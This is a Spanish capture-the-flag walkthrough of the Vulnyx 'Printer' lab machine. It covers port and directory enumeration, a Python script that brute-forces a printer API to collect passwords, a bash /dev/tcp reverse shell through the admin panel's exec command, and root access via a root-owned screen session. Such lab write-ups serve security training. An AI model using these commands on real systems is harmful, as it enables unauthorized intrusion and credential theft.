Printer Vulnyx (Easy - Linux)

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-21 03:26 EDT
Nmap scan report for 192.168.5.86
Host is up (0.0039s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp   open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.56 (Debian)
9999/tcp open  abyss?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, 
LDAPSearchReq, LPDString, NCP, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe: 
|     Konica Minolta Printer Admin Panel
|     Password:
|   NULL: 
|_    Konica Minolta Printer Admin Panel
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at 
https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.95%I=7%D=8/21%Time=68A6CA19%P=x86_64-pc-linux-gnu%r(NU
SF:LL,25,"\nKonica\x20Minolta\x20Printer\x20Admin\x20Panel\n\n")%r(GetRequ
SF:est,2F,"\nKonica\x20Minolta\x20Printer\x20Admin\x20Panel\n\nPassword:\x
SF:20")%r(HTTPOptions,2F,"\nKonica\x20Minolta\x20Printer\x20Admin\x20Panel
SF:\n\nPassword:\x20")%r(FourOhFourRequest,2F,"\nKonica\x20Minolta\x20Prin
SF:ter\x20Admin\x20Panel\n\nPassword:\x20")%r(JavaRMI,2F,"\nKonica\x20Mino
SF:lta\x20Printer\x20Admin\x20Panel\n\nPassword:\x20")%r(GenericLines,2F,"
SF:\nKonica\x20Minolta\x20Printer\x20Admin\x20Panel\n\nPassword:\x20")%r(R
SF:TSPRequest,2F,"\nKonica\x20Minolta\x20Printer\x20Admin\x20Panel\n\nPass
SF:word:\x20")%r(RPCCheck,2F,"\nKonica\x20Minolta\x20Printer\x20Admin\x20P
SF:anel\n\nPassword:\x20")%r(DNSVersionBindReqTCP,2F,"\nKonica\x20Minolta\
SF:x20Printer\x20Admin\x20Panel\n\nPassword:\x20")%r(DNSStatusRequestTCP,2
SF:F,"\nKonica\x20Minolta\x20Printer\x20Admin\x20Panel\n\nPassword:\x20")%
SF:r(Help,2F,"\nKonica\x20Minolta\x20Printer\x20Admin\x20Panel\n\nPassword
SF::\x20")%r(SSLSessionReq,2F,"\nKonica\x20Minolta\x20Printer\x20Admin\x20
SF:Panel\n\nPassword:\x20")%r(TerminalServerCookie,2F,"\nKonica\x20Minolta
SF:\x20Printer\x20Admin\x20Panel\n\nPassword:\x20")%r(TLSSessionReq,2F,"\n
SF:Konica\x20Minolta\x20Printer\x20Admin\x20Panel\n\nPassword:\x20")%r(Ker
SF:beros,2F,"\nKonica\x20Minolta\x20Printer\x20Admin\x20Panel\n\nPassword:
SF:\x20")%r(SMBProgNeg,2F,"\nKonica\x20Minolta\x20Printer\x20Admin\x20Pane
SF:l\n\nPassword:\x20")%r(X11Probe,2F,"\nKonica\x20Minolta\x20Printer\x20A
SF:dmin\x20Panel\n\nPassword:\x20")%r(LPDString,2F,"\nKonica\x20Minolta\x2
SF:0Printer\x20Admin\x20Panel\n\nPassword:\x20")%r(LDAPSearchReq,2F,"\nKon
SF:ica\x20Minolta\x20Printer\x20Admin\x20Panel\n\nPassword:\x20")%r(LDAPBi
SF:ndReq,2F,"\nKonica\x20Minolta\x20Printer\x20Admin\x20Panel\n\nPassword:
SF:\x20")%r(SIPOptions,2F,"\nKonica\x20Minolta\x20Printer\x20Admin\x20Pane
SF:l\n\nPassword:\x20")%r(LANDesk-RC,2F,"\nKonica\x20Minolta\x20Printer\x2
SF:0Admin\x20Panel\n\nPassword:\x20")%r(TerminalServer,2F,"\nKonica\x20Min
SF:olta\x20Printer\x20Admin\x20Panel\n\nPassword:\x20")%r(NCP,2F,"\nKonica
SF:\x20Minolta\x20Printer\x20Admin\x20Panel\n\nPassword:\x20");
MAC Address: 08:00:27:E0:64:DE (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 159.70 seconds

Veremos varios puertos interesantes, entre ellos un puerto 80 que suele alojar una pagina web y un puerto 9999 que por lo que vemos en el reporte parece ser una impresora en la que puedes iniciar sesion mediante unas credenciales, si entramos en el puerto 80 veremos una pagina normal y corriente de apache2, por lo que vamos a realizar un poco de fuzzing a ver que vemos.

Gobuster

gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.86/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 277]
/index.html           (Status: 200) [Size: 10701]
/.php                 (Status: 403) [Size: 277]
/api                  (Status: 403) [Size: 277]
Progress: 121947 / 882244 (13.82%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 122101 / 882244 (13.84%)
===============================================================
Finished
===============================================================

Veremos que hay un recurso compartido llamado /api que es bastante interesante, por lo que vamos a ver que contiene dentro.

gobuster dir -u http://<IP>/api/ -w <WORDLIST> -x html,php,txt -t 50 -k -r

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.86/api/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 277]
/.html                (Status: 403) [Size: 277]
/printers             (Status: 200) [Size: 303]
/.php                 (Status: 403) [Size: 277]
/.html                (Status: 403) [Size: 277]
Progress: 397224 / 882244 (45.02%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 397506 / 882244 (45.06%)
===============================================================
Finished
===============================================================

Veremos que nos ha descubierto un recurso llamado /printers, si entramos dentro de /printers veremos lo siguiente en la pagina:

Search for your printer with the following format: printer<id>.<ext>

Veremos que esta utilizando una estructura de id y extension, por lo que podremos realizar un poco de fuerza bruta con varias extensiones y numeros, para saber cuales estan activos.

Vamos a crearnos un script para generar 2 archivos, uno que sea ids.txt y exts.txt con todo lo necesario.

generateTexts.py

# script.py

def generar_ids(nombre_archivo="ids.txt", limite=5000):
    """Genera un archivo con números del 0 hasta 'limite'."""
    with open(nombre_archivo, "w") as f:
        for i in range(limite + 1):
            f.write(f"{i}\n")
    print(f"Archivo '{nombre_archivo}' generado con {limite + 1} números.")


def generar_exts(nombre_archivo="exts.txt"):
    """Genera un archivo con algunas extensiones de ejemplo (sin punto)."""
    extensiones = [
        "json",
        "js",
        "txt",
        "php",
        "html",
        "css",
        "xml",
        "csv",
        "py",
        "java"
    ]
    with open(nombre_archivo, "w") as f:
        for ext in extensiones:
            f.write(f"{ext}\n")
    print(f"Archivo '{nombre_archivo}' generado con {len(extensiones)} extensiones.")


if __name__ == "__main__":
    generar_ids()
    generar_exts()

Los ejecutaremos de la siguiente forma:

python3 generateTexts.py

Info:

Archivo 'ids.txt' generado con 5001 números.
Archivo 'exts.txt' generado con 10 extensiones.

Ahora vamos a crear otro script en el que pruebe con dichos diccionarios la API de la impresora a ver que vemos.

printer.py

# brute_ctf.py
import requests

URL_BASE = "http://<IP>/api/printers/"   # endpoint del CTF
TIMEOUT = 5  # segundos de timeout

def cargar_lista(nombre_archivo):
    """Lee un archivo de texto y devuelve una lista de líneas sin saltos."""
    with open(nombre_archivo, "r") as f:
        return [line.strip() for line in f if line.strip()]

def fuerza_bruta(ids_file="ids.txt", exts_file="exts.txt", output_file="resultados.txt"):
    ids = cargar_lista(ids_file)
    exts = cargar_lista(exts_file)

    with open(output_file, "w") as salida:
        for id_val in ids:
            for ext in exts:
                printer_name = f"printer{id_val}.{ext}"
                url = URL_BASE + printer_name
                try:
                    r = requests.get(url, timeout=TIMEOUT)
                    if r.status_code == 200:
                        print(f"[+] Posible válido: {printer_name} --> {url}")
                        salida.write(f"{printer_name} --> {url}\n")
                except requests.RequestException:
                    # Ignora errores de conexión o timeouts
                    pass

    print(f"\n[✓] Fuerza bruta finalizada. Resultados guardados en '{output_file}'")

if __name__ == "__main__":
    fuerza_bruta()

Ahora lo ejecutaremos de esta forma:

python3 printer.py 

Info:

[+] Posible válido: printer1.json --> http://192.168.5.86/api/printers/printer1.json
[+] Posible válido: printer2.json --> http://192.168.5.86/api/printers/printer2.json
[+] Posible válido: printer3.json --> http://192.168.5.86/api/printers/printer3.json
[+] Posible válido: printer4.json --> http://192.168.5.86/api/printers/printer4.json
[+] Posible válido: printer5.json --> http://192.168.5.86/api/printers/printer5.json
[+] Posible válido: printer1599.json --> http://192.168.5.86/api/printers/printer1599.json

Veremos que nos ha encontrado estas impresoras, por lo que vamos a investigar que contiene cada una de ellas.

viewJSON.py

# view_jsons.py
import requests
import json

URLS = [
    "http://<IP>/api/printers/printer1.json",
    "http://<IP>/api/printers/printer2.json",
    "http://<IP>/api/printers/printer3.json",
    "http://<IP>/api/printers/printer4.json",
    "http://<IP>/api/printers/printer5.json",
    "http://<IP>/api/printers/printer1599.json",
]

TIMEOUT = 5

def mostrar_json(url):
    try:
        r = requests.get(url, timeout=TIMEOUT)
        r.raise_for_status()
        data = r.json()  # convierte en dict
        print(f"\n===== {url} =====")
        print(json.dumps(data, indent=4, ensure_ascii=False))  # formatea bonito
    except Exception as e:
        print(f"[!] Error con {url}: {e}")

if __name__ == "__main__":
    for url in URLS:
        mostrar_json(url)

Lo ejecutaremos de esta forma:

python3 viewJSON.py

Info:

===== http://192.168.5.86/api/printers/printer1.json =====
{
    "printer": {
        "printer_id": "1",
        "printer_password": "P4ssw0rd!"
    }
}

===== http://192.168.5.86/api/printers/printer2.json =====
{
    "printer": {
        "printer_id": "2",
        "printer_password": "iloveme"
    }
}

===== http://192.168.5.86/api/printers/printer3.json =====
{
    "printer": {
        "printer_id": "3",
        "printer_password": "qwerty"
    }
}

===== http://192.168.5.86/api/printers/printer4.json =====
{
    "printer": {
        "printer_id": "4",
        "printer_password": "admin"
    }
}

===== http://192.168.5.86/api/printers/printer5.json =====
{
    "printer": {
        "printer_id": "5",
        "printer_password": "root"
    }
}

===== http://192.168.5.86/api/printers/printer1599.json =====
{
    "printer": {
        "printer_id": "1599",
        "printer_password": "$3cUr3Pr1nT3RP4ZZw0rD"
    }
}

Veremos que es una serie de contraseñas, por lo que podremos probarlas en el puerto 9999 que hemos visto antes a ver cual funciona de todas.

Escalate user printer

Printer (9999)

nc <IP> 9999

Info:

Konica Minolta Printer Admin Panel


Password: $3cUr3Pr1nT3RP4ZZw0rD

Please type "?" for HELP
>

Si vemos el help poniendo ? veremos lo siguiente:

To Change/Configure Parameters Enter:
Parameter-name: value <Carriage Return>

Parameter-name Type of value
ip: IP-address in dotted notation
subnet-mask: address in dotted notation (enter 0 for default)
default-gw: address in dotted notation (enter 0 for default)
syslog-svr: address in dotted notation (enter 0 for default)
idle-timeout: seconds in integers
set-cmnty-name: alpha-numeric string (32 chars max)
host-name: alpha-numeric string (upper case only, 32 chars max)
dhcp-config: 0 to disable, 1 to enable
allow: <ip> [mask] (0 to clear, list to display, 10 max)

addrawport: <TCP port num> (<TCP port num> 3000-9000)
deleterawport: <TCP port num>
listrawport: (No parameter required)

exec: execute system commands (exec id)
exit: quit from telnet session

Vemos que con exec podemos ejecutar comandos a nivel de sistema, por lo que vamos a probar a ejecutar lo siguiente:

exec id

Info:

uid=1000(printer) gid=1000(printer) grupos=1000(printer)

Veremos que esta funcionando, por lo que vamos a realizar un reverse shell de esta forma:

exec bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'

Ahora antes de enviarlo nos pondremos a la escucha:

nc -lvnp <PORT>

Ahora si enviamos lo de antes y volvemos a donde tenemos la escucha veremos lo siguiente:

listening on [any] 7777 ...
connect to [192.168.5.50] from (UNKNOWN) [192.168.5.86] 55832
bash: no se puede establecer el grupo de proceso de terminal (311): Función ioctl no apropiada para el dispositivo
bash: no hay control de trabajos en este shell
printer@printer:/var/spool/lpd$ whoami
whoami
printer

Veremos que ha funcionado, por lo que tendremos que sanitizar la shell.

Sanitización de shell (TTY)

script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Ahora vamos a leer la flag del usuario:

user.txt

7cc698fe83419af87e0a504eb91913e2

Escalate Privileges

Si listamos los permisos con SUID que tenemos a nivel de sistema, veremos lo siguiente:

find / -type f -perm -4000 -ls 2>/dev/null

Info:

263828     56 -rwsr-xr-x   1 root     root        55528 ene 20  2022 /usr/bin/mount
   263458     72 -rwsr-xr-x   1 root     root        71912 ene 20  2022 /usr/bin/su
   259697     60 -rwsr-xr-x   1 root     root        58416 feb  7  2020 /usr/bin/chfn
   259700     88 -rwsr-xr-x   1 root     root        88304 feb  7  2020 /usr/bin/gpasswd
   259698     52 -rwsr-xr-x   1 root     root        52880 feb  7  2020 /usr/bin/chsh
   263830     36 -rwsr-xr-x   1 root     root        35040 ene 20  2022 /usr/bin/umount
   259701     64 -rwsr-xr-x   1 root     root        63960 feb  7  2020 /usr/bin/passwd
   263292     44 -rwsr-xr-x   1 root     root        44632 feb  7  2020 /usr/bin/newgrp
   280410    472 -rwsr-xr-x   1 root     root       482312 feb 27  2021 /usr/bin/screen
   273849    472 -rwsr-xr-x   1 root     root       481608 jul  2  2022 /usr/lib/openssh/ssh-keysign
   264755     52 -rwsr-xr--   1 root     messagebus    51336 oct  5  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper

Veremos un binario interesante en esta linea:

280410  472 -rwsr-xr-x   1 root  root   482312 feb 27  2021 /usr/bin/screen

Si leemos la documentacion del binario veremos que se utiliza para crear sesion dentro del sistema por asi decirlo, si listamos los procesos que hay en ejecuccion en el sistema veremos lo siguiente:

ps -aux | grep "screen"

Info:

root         318  0.0  0.0   2484   564 ?        Ss   09:25   0:01 /bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done
printer   104776  0.0  0.0   3112   700 pts/1    R+   10:27   0:00 grep screen

Vemos que esta ejecutando una sesion como root con screen por lo que podremos realizar lo siguiente:

screen -x root/

Info:

root@printer:~# whoami
root

Veremos que con estos ya seremos root, por lo que leeremos la flag de root.

root.txt

616e894462fed90fec26f828a0a6c50e

Last updated